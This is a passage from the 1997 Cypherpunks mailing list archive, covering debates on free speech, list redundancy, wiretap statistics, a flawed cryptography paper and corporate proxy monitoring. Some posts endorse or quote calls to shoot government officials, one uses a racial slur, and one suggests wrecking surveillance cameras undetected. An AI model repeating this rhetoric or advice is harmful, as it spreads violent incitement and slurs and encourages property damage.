> are dangerous and could invite retaliation by the Authorities. If
> that's indeed the case, then by all means we should be posting
> bomb-making instructions and calls for treason trials with street
> justice.)

Hey, *They* read this list anyways.  Fuck *Them* Hard.
 
> Beware the policeman inside.

Fuck the FBI, Fuck the CIA.  Fuck 'em all.  Now that's freedom!  God, 
I love America!  

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795






From whgiii at amaranth.com  Tue May 13 18:20:42 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Wed, 14 May 1997 09:20:42 +0800
Subject: Camera Hacking
In-Reply-To: 
Message-ID: <199705140038.TAA10646@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In , on
05/13/97 at 04:56 PM,
   Ray Arachelian  said:


>On Fri, 9 May 1997, Brian C. Lane wrote:

>> On Thu, 1 May 1997, geeman wrote:
>> 
>> > have an effect on people's behavior with respect to what they say, whom
>> > they associate with, 
>> > the clothes they wear, the thoughts they think...
>> > 
>> > How do you hack a camera?
>> 
>>   Splatball (paintball) gun should do the trick.

>I suppose if you make it expensive enough by damaging enough cameras,  and
>any replacements, they will go away (or be better hidden).  The trick  is
>to do this without being caught. :)

I think if enough got damaged they would just replace them with cheap dummy
cameras and hide the real ones. 

Orwell like most great thinkers was just ahead of his time.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows?  WINDOWS?!?  Hahahahahehehehehohohoho...

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Version: 2.6.2
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From tcmay at got.net  Tue May 13 18:36:34 1997
From: tcmay at got.net (Tim May)
Date: Wed, 14 May 1997 09:36:34 +0800
Subject: "The policeman inside"
In-Reply-To: <199705140042.RAA21706@adnetsol.adnetsol.com>
Message-ID: 


At 4:41 PM -0800 5/13/97, Ross Wright wrote:
>On or About 13 May 97 at 9:19, Tim May wrote:

>> So is crypto information. So is saying Congressmen are vermin who
>> need to be taken out and shot.
>
>I think you can say "taken out and Spanked Naked In The Streets" I
>don't think you can advocate shooting them...  Correct me if I'm
>wrong.

This has of course come up several times. The usual legal scholars can cite
chapter and verse, but it is of course perfectly legal to say that all
lawyers ought to be killed, that all politicians are scum and should be
killed, etc. It is even legal to say that all honkies ought to be offed.
And legal to express the view that the world would be a better place if
O.J. Simpson is someday killed by some brave soul.

What may be illegal--and even this if iffy--is to "incite" a _particular_
act of violence, such as urging a mob to lynch a prisoner, or perhaps
running an AP betting pool. Legal experts can discuss relevant cases here.

(Plus, the expression "taken out and shot" has cultural context implying it
is not a specific course of action being proposed. In a similar vein,
arguing that it would be a good thing if D.C. were to vanish in a puff of
plutonium smoke, or even that "D.C. ought to be nuked," these are certainly
protected First Amendment sentiments.)

What is certainly protected, or at least has been protected for centuries,
is the expression of opinions that somebody needs killing. It may be tacky
to wish death on someone (but not always tacky), but what specific crime is
being committed?

As is well known, general advocacy of violence is protected speech (modulo
some special cases that legal experts can cite).

There is a specific exception: advocating the violent overthrow of the U.S.
government. One can advocate violence, one can advocate the (non-violent)
overthrow of the government (which we call "elections"), but one cannot
advocate the violent overthrow of the government.

(Again, legal beagles can discuss cases. Clearly many have advocated the
violent overthrow of the gubment, as the Black Panthers and Weathermen did,
and yet this was not what they were charged with. So, while technically
illegal, rarely prosecuted.)


--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From jya at pipeline.com  Tue May 13 18:39:09 1997
From: jya at pipeline.com (John Young)
Date: Wed, 14 May 1997 09:39:09 +0800
Subject: 96 Wiretap Report
Message-ID: <1.5.4.32.19970514012608.008ff084@pop.pipeline.com>


We offer the text and three summary tables of the
U.S. Courts "1996 Wiretap Report" at:

   http://jya.com/96wiretap.htm  (36K)







From ravage at EINSTEIN.ssz.com  Tue May 13 18:50:20 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Wed, 14 May 1997 09:50:20 +0800
Subject: The Interlinked Cypherpunks Lists? (fwd)
Message-ID: <199705140034.TAA23384@einstein.ssz.com>


Hi,

> > * Is it possible for the interlinked lists to send out announcements of
> > list problems to subscriber of all such lists? (Each list owner could do a
> > periodic "who cypherpunks" of the other lists, then use this list to send a
> > message if a problem comes up. More sophisticated cross-processing could
> > eliminate duplicates, etc.)

Sounds like time to start another list subscribed to the existing nodes
and offer such services to the subscribers at the operators whim.

I oppose any action which would force the list to become more 'cooperative'
in the sense that each node operator would be forced (sorta anti-cpunks I
believe) to comply with some set of scripts and such they didn't develop in
the first place. It would be just another means to limit the ability of
people in general, and the cpunks in particular, to communicate with as
little structure and 'authority' as possible. Unless I am seriously
mistaken on this, the point was to make the list more robust and less
centralized. Pretty soon we'll have to join some damn union or something.

Now some of you are going to say that this is taking it to extremes. That
what is being proposed is a good thing and not something that could be used
to 'manipulate' the lists. The road to hell is paved with good intentions,
and the guy driving the paving truck only wants to help you (as he paves
your petunia's).

> > * Alternatively, if one of the sites goes down, such as
> > "cypherpunks at cyberpass.net" seems to have done, could the other sites
> > automagically pick up the task of distributing articles until the site
> > comes back up?

This again is anti-cpunks, it forces a level of cooperation and information
sharing that is in direct opposition to beliefs in anonymity and privacy.
I don't want it known who is subscribed to lists through SSZ, in short:
It isn't any of your damn business and quit asking.

Solution? Get a life or start an archive site.

> The only true reliability can be achieved by subscribing to two or more
> cypherpunks sites, and eliminating duplicates. Reliability has its costs.

As do freedom, privacy, anonymity, etc.


                                                  Jim Choate
                                                  CyberTects
                                                  ravage at ssz.com






From tcmay at got.net  Tue May 13 19:02:31 1997
From: tcmay at got.net (Tim May)
Date: Wed, 14 May 1997 10:02:31 +0800
Subject: The Interlinked Cypherpunks Lists? (fwd)
In-Reply-To: <199705140034.TAA23384@einstein.ssz.com>
Message-ID: 


At 4:34 PM -0800 5/13/97, Jim Choate wrote:

>> > * Is it possible for the interlinked lists to send out announcements of
>> > list problems to subscriber of all such lists? (Each list owner could do a
>> > periodic "who cypherpunks" of the other lists, then use this list to
>>send a
>> > message if a problem comes up. More sophisticated cross-processing could
>> > eliminate duplicates, etc.)
>
>Sounds like time to start another list subscribed to the existing nodes
>and offer such services to the subscribers at the operators whim.
>
>I oppose any action which would force the list to become more 'cooperative'
>in the sense that each node operator would be forced (sorta anti-cpunks I
>believe) to comply with some set of scripts and such they didn't develop in

I wasn't advocating either:

a) any "forcing" of anything

b) any compliance with scripts, cooperation, etc.

Instead, imagine this "service":

- a distribution point (= list) which subscribes to all of the various
lists (cyberpass, algebra, ssz, etc.)

- it sends out to subscribers the first instance of any message it receives

- duplicates (see discussion below) would not be sent

- it would, ideally, be on a robust machine

The "duplicates" issue has been discussed by others. Even if message IDs
are not enough to find duplicates--someone reported that the same message
from algebra and cyberpass have different IDs--I would think that using the
sender, message title, and date of origin ought to be more than enough to
spot duplicates.

Thus, the message "Re: The Interlinked Cypherpunks Lists? (fwd), 4:34 PM
-0800 5/13/97, Jim Choate" should be unique.


>Now some of you are going to say that this is taking it to extremes. That
>what is being proposed is a good thing and not something that could be used
>to 'manipulate' the lists. The road to hell is paved with good intentions,
>and the guy driving the paving truck only wants to help you (as he paves
>your petunia's).

No, this is just another filtering service, one designed to collect
messages from as many inputs as possible and send them out, without
duplicates.


>> > * Alternatively, if one of the sites goes down, such as
>> > "cypherpunks at cyberpass.net" seems to have done, could the other sites
>> > automagically pick up the task of distributing articles until the site
>> > comes back up?
>
>This again is anti-cpunks, it forces a level of cooperation and information
>sharing that is in direct opposition to beliefs in anonymity and privacy.
>I don't want it known who is subscribed to lists through SSZ, in short:
>It isn't any of your damn business and quit asking.

No one has ever said you, or SSZ, or anyone, has to participate.


>Solution? Get a life or start an archive site.
>

"Get a life." What an original insult.

Reminds me why you usually reside in my filter file, Jim. Back in it you go.

--TCM

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From whgiii at amaranth.com  Tue May 13 19:10:40 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Wed, 14 May 1997 10:10:40 +0800
Subject: KKK derails crypto bill, report from House Judiciary... (fwd)
In-Reply-To: <199705140015.TAA23269@einstein.ssz.com>
Message-ID: <199705140138.UAA11417@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In <199705140015.TAA23269 at einstein.ssz.com>, on 05/13/97 at 06:15 PM,
   Jim Choate  said:


>Forwarded message:

>> From: "William H. Geiger III" 
>> Date: Tue, 13 May 97 19:23:46 -0500
>> Subject: Re: KKK derails crypto bill, report from House Judiciary...

>> I personaly think that this is a good thing. :)))
>> 
>> Every bill that *is not* passed by congress is just that much more freedom
>> that is saved. If all the bills passed by congress over the past 100yrs.
>> could all be repealed no one would miss them in the least (well no one
>> except the STATEST). 

>Yeah,

>Blacks could go back to being niggers.
>Women could go back to being barefoot and pregnant
>etc...

>Talk about statest.

I don't know where you get the above from?

I supose that your statest brainwashing has convinced you that such social
issues could have only been resolved by Federal intervention. Quite the
contrary is true. Any laws passed by congress in these areas were brought
about *because* society was already moving in those directions not the
other way around.

If someone is going to descriminate on the basis of race or sex or any
other criteria they are going to do so reguardless of what laws are passed
in DC.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: If you want it done right, forget Microsoft.

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Version: 2.6.2
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msr5G15PmLM=
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From ravage at EINSTEIN.ssz.com  Tue May 13 19:10:52 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Wed, 14 May 1997 10:10:52 +0800
Subject: KKK derails crypto bill, report from House Judiciary... (fwd)
Message-ID: <199705140116.UAA23579@einstein.ssz.com>


Forwarded message:

> From: "William H. Geiger III" 
> Date: Tue, 13 May 97 20:33:41 -0500
> Subject: Re: KKK derails crypto bill, report from House Judiciary... (fwd)

> >> Every bill that *is not* passed by congress is just that much more freedom
> >> that is saved. If all the bills passed by congress over the past 100yrs.
> >> could all be repealed no one would miss them in the least (well no one
> >> except the STATEST). 
> 
> >Yeah,
> 
> >Blacks could go back to being niggers.
> >Women could go back to being barefoot and pregnant
> >etc...
> 
> >Talk about statest.
> 
> I don't know where you get the above from?

Constitutional Amendments are general passed by Congress. Hence, your
statement taken literaly is advocating a great deal of good that has come
from such actions.

> I supose that your statest brainwashing has convinced you that such social
> issues could have only been resolved by Federal intervention. Quite the
> contrary is true. Any laws passed by congress in these areas were brought
> about *because* society was already moving in those directions not the
> other way around.

I was a small boy in the 60's in and around Houston. I remember what
it was like before and after the desegregation that took place in the
mid-60's when I started elementary. I can promise you from personal
experience there were still seperate washrooms and fountains. Sweeney, Tx.
still had a sign on Interstate 90 that said (and I quote) "If you are black
don't let the sun set on you in Sweeney." (the sign was on private property
adjacent to the interstate I found out years later)

As to a little modern social commentary. Ride the city bus in your town for
1 month each day. During that time keep track of where people sit. Would you
like to explain why the majority of blacks still sit in the back of the bus?

And for those who are white with real cajones, walk into a black bar around
1AM on a Sunday.

> If someone is going to descriminate on the basis of race or sex or any
> other criteria they are going to do so reguardless of what laws are passed
> in DC.

Absolutely, as is their Constitutionaly protected right. THE FEDERAL
GOVERNMENT AND EVERY OTHER FORM OF SOCIAL AND LEGAL INSTITUTION SHOULD NOT
EVER, PERIOD. Private individuals and companies should, and can,
discriminate to their hearts content. I personaly wouldn't deal with a
business that I knew a priori discriminated against employees or customers
based on sex, religion, etc. as a matter of standard policy. I suspect that
most others with 2 halves of a clue to rub together would refuse as well.


                                                    Jim Choate
                                                    CyberTects
                                                    ravage at ssz.com






From ravage at EINSTEIN.ssz.com  Tue May 13 19:11:04 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Wed, 14 May 1997 10:11:04 +0800
Subject: KKK derails crypto bill, report from House Judiciary... (fwd) (correction)
Message-ID: <199705140119.UAA23637@einstein.ssz.com>


Forwarded message:

> From: Jim Choate 
> Subject: Re: KKK derails crypto bill, report from House Judiciary... (fwd)
> Date: Tue, 13 May 1997 20:16:21 -0500 (CDT)

> Constitutional Amendments are general passed by Congress. Hence, your
> statement taken literaly is advocating a great deal of good that has come
> from such actions.

Insert 'eliminating' between 'advocating' and 'a great' on the second line.






From whgiii at amaranth.com  Tue May 13 19:20:57 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Wed, 14 May 1997 10:20:57 +0800
Subject: 96 Wiretap Report
In-Reply-To: <1.5.4.32.19970514012608.008ff084@pop.pipeline.com>
Message-ID: <199705140202.VAA11766@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In <1.5.4.32.19970514012608.008ff084 at pop.pipeline.com>, on 05/13/97 at
07:26 PM,
   John Young  said:


>We offer the text and three summary tables of the
>U.S. Courts "1996 Wiretap Report" at:

>   http://jya.com/96wiretap.htm  (36K)


I noticed in the summary report that e-mail interceps were used. Is their
more detailed information on this? I would be intrested to know how
involved the govenment is becoming involved in this area. Of great intrest
would be the location and means used to do such taps.

Thanks again for providing a wealth of information,

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows: From the people who brought you EDLIN!

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dCKTFNi9dh0=
=OBuw
-----END PGP SIGNATURE-----






From ravage at EINSTEIN.ssz.com  Tue May 13 19:21:37 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Wed, 14 May 1997 10:21:37 +0800
Subject: The Interlinked Cypherpunks Lists? (fwd)
Message-ID: <199705140129.UAA23683@einstein.ssz.com>


Forwarded message:

> From: Tim May 
> Subject: Re: The Interlinked Cypherpunks Lists? (fwd)

> I wasn't advocating either:
> 
> a) any "forcing" of anything
> 
> b) any compliance with scripts, cooperation, etc.
> 
> Instead, imagine this "service":
> 
> - a distribution point (= list) which subscribes to all of the various
> lists (cyberpass, algebra, ssz, etc.)
> 
> - it sends out to subscribers the first instance of any message it receives
> 
> - duplicates (see discussion below) would not be sent
> 
> - it would, ideally, be on a robust machine
> 

Exactly, pity that isn't what you stated in the first place.

> >This again is anti-cpunks, it forces a level of cooperation and information
> >sharing that is in direct opposition to beliefs in anonymity and privacy.
> >I don't want it known who is subscribed to lists through SSZ, in short:
> >It isn't any of your damn business and quit asking.
> 
> No one has ever said you, or SSZ, or anyone, has to participate.

Sorta defeats the whole concept of 'inter-linked lists' doesn't it? The
point was to make it easy for ANYONE who wanted to participate. If you
exclude parties because they won't do it 'your' way what is the difference?
Nada, null, nill, zero, nothing.

I can see it now; "oh, if you want to be a member you have to run this
set of scripts that automaticaly subscribes you to the other lists and you
can expect repeated querries of your subscription database. Oh, by the way
you are also agreeing to have other lists subscribe and unsubscribe their
user lists to your site at their operators whim. Oh yeah, and if they get
really clever they can have you shipping subscription lists of your
membership all over the place as well."

Sounds so much like the FBI going to the library for loan records and
denial of service attack it isn't even funny.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage at ssz.com






From daw at cs.berkeley.edu  Tue May 13 19:22:21 1997
From: daw at cs.berkeley.edu (David Wagner)
Date: Wed, 14 May 1997 10:22:21 +0800
Subject: Public Key Break Paper
In-Reply-To: <1.5.4.32.19970513194224.00928884@pop.pipeline.com>
Message-ID: <5laovn$et@joseph.cs.berkeley.edu>


In article <1.5.4.32.19970513194224.00928884 at pop.pipeline.com>,
John Young   wrote:
> In early April we posted a message which referred to
> William H. Payne's paper "Public Key Cryptography is
> Easy to Break."
> 
> Mr. Payne has provided the 1990 5-page draft paper 
> along with other documents, which we've added to the file
> at:
> 
>    http://jya.com/snlhit.htm

Thanks for posting.

I just took a brief look at it, (thanks for forwarding, Lucky),
and it's pure crap-ola.

[ ObTechnicalTrashing: the least x such that 2^x = 1 mod n is
very likely to be of order n, so 2^x (not modulo!) will be a
x-bit integer, and he ends up computing 2^x without doing any
reductions, so the work factor of his method is at least order
n.  Finding a prime factor by exhaustive search (try 2, 3, 5,
7, ...) would be more efficient... Sigh. ]






From osborne at gateway.grumman.com  Tue May 13 19:25:44 1997
From: osborne at gateway.grumman.com (Rick Osborne)
Date: Wed, 14 May 1997 10:25:44 +0800
Subject: Spoofing Corporate Proxy Servers: poor man's SSL
Message-ID: <3.0.1.32.19970513221218.00a5bcf0@gateway.grumman.com>


________________________ R i c k   O s b o r n e ________________________
My company, as well as many of yours I'm sure, uses a proxy server to give
its users access to the internet beyond its firewall.  There are strict
policies concerning what is and isn't viewable or retreivable according to
corporate guidelines.  Unfortunately, the people making these policies
aren't always as open and "fair" as they could be.  Not to mention the fact
that each and every request is logged and achived for eternity (or at least
as long as the CDs and/or tapes last).

Some of you may remember my post from ~6 months ago concerning my company's
view on the use of PGP (they didn't like it and were very frank about it).
My pursuit of crypto-related information is viewed very dimly, even while
at the same time I am told to implement certain levels of crypto in some of
the applications I develop.  The constant barrage of "why did you visit
this page?", or "what does this application you downloaded do?" is not only
irritating but counter-productive.  This got me thinking: disregarding
outside proxy schemes (such as Anonymizer), we can't really keep the proxy
server from knowing the site we are connecting to.  We can, however, hide
the page we are retrieving.

Suppose each web server had a public/private key pair, sort of like SSL.
Instead of requesting a page using the normal "GET /mypage.html HTTP/1.1"
method, the user could encrypt the URL with the server's public key (along
with appropriate headers and a random string to prevent known-plaintext
attacks) and pass that to a CGI or even a dedicated server on another port.
 The server then decrypts the request, which may or may not have included a
public key to encrypt the response, grabs the appropriate page, and sends
it back (possibly encrypted).  Other than the CGI (or the port number of
the dedicated server), the proxy server has no idea what document has been
retrieved.  Essentially we have made a remailer out of an HTTPd,
tangentally related to Adam's Eternity server, sort of like a poor-man's SSL.

For extensibility concerns, a loose protocol would have to be developed
such that different encryption schemes could be plugged in, but even a Perl
POST CGI using PGP would be trivial.  This would not only solve security
problems (varying keysizes would set the security of the data), but could
remove the corporate presence from the HTTPS market (who wants to pay
$150/key, when you can generate 2048-bit keys with PGP?).  While this does
not stop the proxy server admins from simply blocking the entire site, it
does at least offer anonymity until they figure it out.  (I successfully
used the Anonymizer for about 2 weeks before it was blocked.)
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
(A)bort, (R)etry, (T)ake down entire network?






From whgiii at amaranth.com  Tue May 13 19:32:54 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Wed, 14 May 1997 10:32:54 +0800
Subject: The Interlinked Cypherpunks Lists? (fwd)
In-Reply-To: 
Message-ID: <199705140219.VAA12003@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In , on 05/13/97 at 08:50 PM,
   Tim May  said:


>The "duplicates" issue has been discussed by others. Even if message IDs
>are not enough to find duplicates--someone reported that the same message
>from algebra and cyberpass have different IDs--I would think that using
>the sender, message title, and date of origin ought to be more than enough
>to spot duplicates.

>Thus, the message "Re: The Interlinked Cypherpunks Lists? (fwd), 4:34 PM
>-0800 5/13/97, Jim Choate" should be unique.

I have been doing some work in this area and IMHO the above is not enough
to properly weed out the duplicates. Not that it woun't catch them but it
will also throw out some non duplicate messages. I would recomend that the
criteria be extended to include the seconds in the time stamp (4:34:25). If
the seconds are not available perhaps generating a hash of the messages
body and compairing would work.

I'm not trying to quibble but I have seen in the past where an author will
post a message and there will be multiple replies to the message. The
author will then reply to the replies and several of these messages will
have the only difference will be the seconds on the time stamp.

Awhile back on one of my e-mail client list their was a disscussion on
wether the time stamp of a message should be generated at the time the
message is composed or at the time the message is sent. We had come to the
conclution that the time the message was composed was the best route to
take. Other e-mail clients may have taken the other route which would
increase the chances on non duplicate messages haveing the same hour:min in
the time stamp.


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: Your brain.  Windows: Your brain on drugs.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM3kwS49Co1n+aLhhAQGOtQP+JTDtd65amyJ7dO8vzsKMB6Z3s/2XNp3D
cALj/LF2UsNGpky/3FUWoAK4QNnUZkH75yMs8h9Cy8Z5Qe5DZrmvlHW4fEztzrsG
3fQs9H8qZDMIwMDKYM6YF+VmHsQOLy9tS6YLr7z1H4T6HG/cy0Qa6saYYyM9UDl3
JcvmnevnIyU=
=5Rtx
-----END PGP SIGNATURE-----






From jimbell at pacifier.com  Tue May 13 19:35:37 1997
From: jimbell at pacifier.com (Jim Bell)
Date: Wed, 14 May 1997 10:35:37 +0800
Subject: RSA, PGP IN LEGAL FLAP OVER ENCRYPTION TECHNOLOGY
Message-ID: <199705140215.TAA11471@mail.pacifier.com>


At 12:45 5/12/97 -0700, Chris DiBona wrote:

>And keep in mind , I don't begrudge RSA thier right to make money off thier
intellectual property,

However, I've been waiting many years for some patent-law-knowledgeable
person to explain why mathematics, which was widely seen as being absolutely
unpatentable prior to the invention of public-key cryptography, suddenly
became patentable just in time for RSA, etc.  

Until I hear such an explanation, I _DO_ begrudge RSA and others that "right."


Jim Bell
jimbell at pacifier.com






From ichudov at algebra.com  Tue May 13 19:38:12 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Wed, 14 May 1997 10:38:12 +0800
Subject: The Interlinked Cypherpunks Lists? (fwd)
In-Reply-To: 
Message-ID: <199705140227.VAA18280@manifold.algebra.com>


Tim May wrote:
> At 4:34 PM -0800 5/13/97, Jim Choate wrote:
> 
> >> > * Is it possible for the interlinked lists to send out announcements of
> >> > list problems to subscriber of all such lists? (Each list owner could do a
> >> > periodic "who cypherpunks" of the other lists, then use this list to
> >>send a
> >> > message if a problem comes up. More sophisticated cross-processing could
> >> > eliminate duplicates, etc.)
> >
> >Sounds like time to start another list subscribed to the existing nodes
> >and offer such services to the subscribers at the operators whim.
> >
> >I oppose any action which would force the list to become more 'cooperative'
> >in the sense that each node operator would be forced (sorta anti-cpunks I
> >believe) to comply with some set of scripts and such they didn't develop in
> 
> I wasn't advocating either:
> 
> a) any "forcing" of anything
> 
> b) any compliance with scripts, cooperation, etc.
> 
> Instead, imagine this "service":
> 
> - a distribution point (= list) which subscribes to all of the various
> lists (cyberpass, algebra, ssz, etc.)
> 
> - it sends out to subscribers the first instance of any message it receives
> 
> - duplicates (see discussion below) would not be sent
> 
> - it would, ideally, be on a robust machine
> 
> The "duplicates" issue has been discussed by others. Even if message IDs
> are not enough to find duplicates--someone reported that the same message
> from algebra and cyberpass have different IDs--I would think that using the
> sender, message title, and date of origin ought to be more than enough to
> spot duplicates.

Tim, what you are proposing is no different from any other cypherpunks
node. So if you suggest to add more nodes, I am all for it.

What you describe above is precisely what algebra, cyberpass, and
ssz.com do now.

It is not a "just another service" as you suggest below, it is
exactly the same service, but on a new node.

Actually, I think that it is important to add one more node to the
network: ssz.com has mail delivery problems and the two more or less
reliable nodes are cyberpass and algebra. I do not see it as *sufficiently*
robust, since the probability of both of them being down is on the
order of 0.5%.

> No, this is just another filtering service, one designed to collect
> messages from as many inputs as possible and send them out, without
> duplicates.

> "Get a life." What an original insult.

> Reminds me why you usually reside in my filter file, Jim. Back in it you go.

Tim, if you read what goes into your filter file, putting anyone there
does not mean that you ignore them.

	- Igor.






From kent at songbird.com  Tue May 13 19:49:42 1997
From: kent at songbird.com (Kent Crispin)
Date: Wed, 14 May 1997 10:49:42 +0800
Subject: The Inducement of Rapid Oxidation of Certain Materials in or Near Government Buildings
In-Reply-To: <3.0.1.32.19970512171524.028df2c8@panix.com>
Message-ID: <19970513193420.35018@bywater.songbird.com>


On Mon, May 12, 1997 at 05:15:24PM -0400, Duncan Frissell wrote:
>
>Tim is neither a democrat nor a participant in a democracy.  Note that all
>the parties involved in the current Balkans war are governments (or claim to
>be). 
>
>Most of the violence in interactions between people and governments is on the
>government side.  The U.S. government and others have been committing mass
>murder for years.  Supporters of those governments thus support mass murder
>for "political ends."
>
>Governments have murdered 170 million people since 1900.  My
>back-of-the-envelope estimate is that the civilians of the world have only
>murdered about 20 million people in the same period of time.  Quite a
>disparity.

Your estimate seems high to me.  But it is meaningless, in any case.

First of all, it neglects to consider that governments may have 
prevented more murders than they caused.  This is unknowable, since 
we don't have any worthwhile control cases.  (I suppose we
might examine a state of anarchic chaos (eg Rawanda) and compare the 
percentage of murders...but such cases are symptoms of other human 
ills, and cannot be used as a meaningful comparison, I believe.)

Second, such cases of civil breakdown aside, all humans, for now and
for the conceivable future, live within the context of some kind of
government.  The option of non-government simply doesn't exist.  The 
issue is how can governments be improved.

Third, murders caused by governments can't really be separated from
murders caused by individuals.  That is, in many cases deciding
whether a murder is a personal action or a government action is
impossible. 


Fourth, it's fashionable in these circles to paint all governments
with the same brush, but in fact, some are much better than others.  
But it only takes one bad one to start a war.  Furthermore, human 
motivations are complex and irrational, so wars are started for 
essentially insane reasons.  This is a human problem, not a problem 
of government.

>The U.S. government and its subsidiaries (for example) annually kill hundreds
>of people in carrying out the "war" on the unlicensed retailing of
>pharmaceuticals.  The U.S. was convicted of war crimes in the International
>Court of Justice in the Hague in the late 80's for dropping air-sown mines in
>one of Nicaragua's harbors.  The U.S. practices the mass bombing of civilian
>populations in wartime which causes a very great loss of innocent life.  Many
>of the other governments of the world are worse.
>
>The principle of estoppel would seem to logically preclude the world's
>governments from arguing that their mass murders are OK but those committed
>by amateurs (which kill many fewer people) aren't.

That inconsistency doesn't bother Tim.  To quote him:

"Some innocents died, but, hey, war is hell. Broken eggs and all that."

>Again, and in general, some of the readers of this and other recent threads
>on cypherpunks need some reading lessons (present company excepted).  Tim May
>has not advocated blowing things up (though such advocacy remains legal).  He
>has not advocated that cypherpunks blow things up.  He has not advocated that
>Timothy McVeigh blow things up.  He has not even said that blowing things up
>is a hip and happening way to raise the average IQ and moral level of the
>surviving population.
>
>He has merely said that if OTHER PEOPLE blow certain things up he understands
>their actions and that in the case of certain targets he would not shed a
>tear.  He also predicted that people will be blowing things up in the future
>(with which prediction, even the U.S. government agrees).

He said:

"Every day that passes, I'm more convinced that McVeigh did the right 
thing." 

This is a lot stronger than saying that he "understands" McVeigh.

[Parenthetically, it is absolutely amazing to me that he and
practically everyone on this list just seems to assume McVeigh is
guilty...do they know something I don't?]

And Tim did *explictly advocate* the assasination of government
officials:

"Chiles and his co-conspirators should be shot for high crimes against
the Constitution.  After Clinton, Freeh, Kerrey, and the other
traitors."

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From alan at ctrl-alt-del.com  Tue May 13 20:00:23 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Wed, 14 May 1997 11:00:23 +0800
Subject: Crypto AG web site
In-Reply-To: <199705131551.RAA20430@rzdspc5.informatik.uni-hamburg.de>
Message-ID: <3.0.1.32.19970513194225.02be0700@mail.teleport.com>


At 05:51 PM 5/13/97 +0200, Ulf M�ller wrote:
>"Thanks to comprehensive ciphering expertise and 45 years of experience,
>the Zug/Switzerland based company enjoys an excellent reputation all
>around the world and is trusted by customers in over 130 countries in
>all continents."
>
>http://www.crypto.ch

Wasn't this the company that the NSA tricked/bribed/rubberhosed into
selling compromised crypto a few years back?

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From shamrock at netcom.com  Tue May 13 20:06:40 1997
From: shamrock at netcom.com (Lucky Green)
Date: Wed, 14 May 1997 11:06:40 +0800
Subject: KKK derails crypto bill, report from House Judiciary... (fwd)
In-Reply-To: <199705140116.UAA23579@einstein.ssz.com>
Message-ID: 


On Tue, 13 May 1997, Jim Choate wrote:
> And for those who are white with real cajones, walk into a black bar around
> 1AM on a Sunday.

I walked _through_ the housing projects in San Francisco at ~3:30 am on a
Sunday morning. Not only did I make it out alive, I made it out with a
couple of ice cold beers the enterprising homeboys hanging out at the
other side felt compelled to give me, since I turned down what they
originally offered me as a token of their friendship. 

[Professional socializer. Don't try this at home. Or if you do, don't blame 
me if you get hurt or killed.]







From jya at pipeline.com  Tue May 13 20:10:10 1997
From: jya at pipeline.com (John Young)
Date: Wed, 14 May 1997 11:10:10 +0800
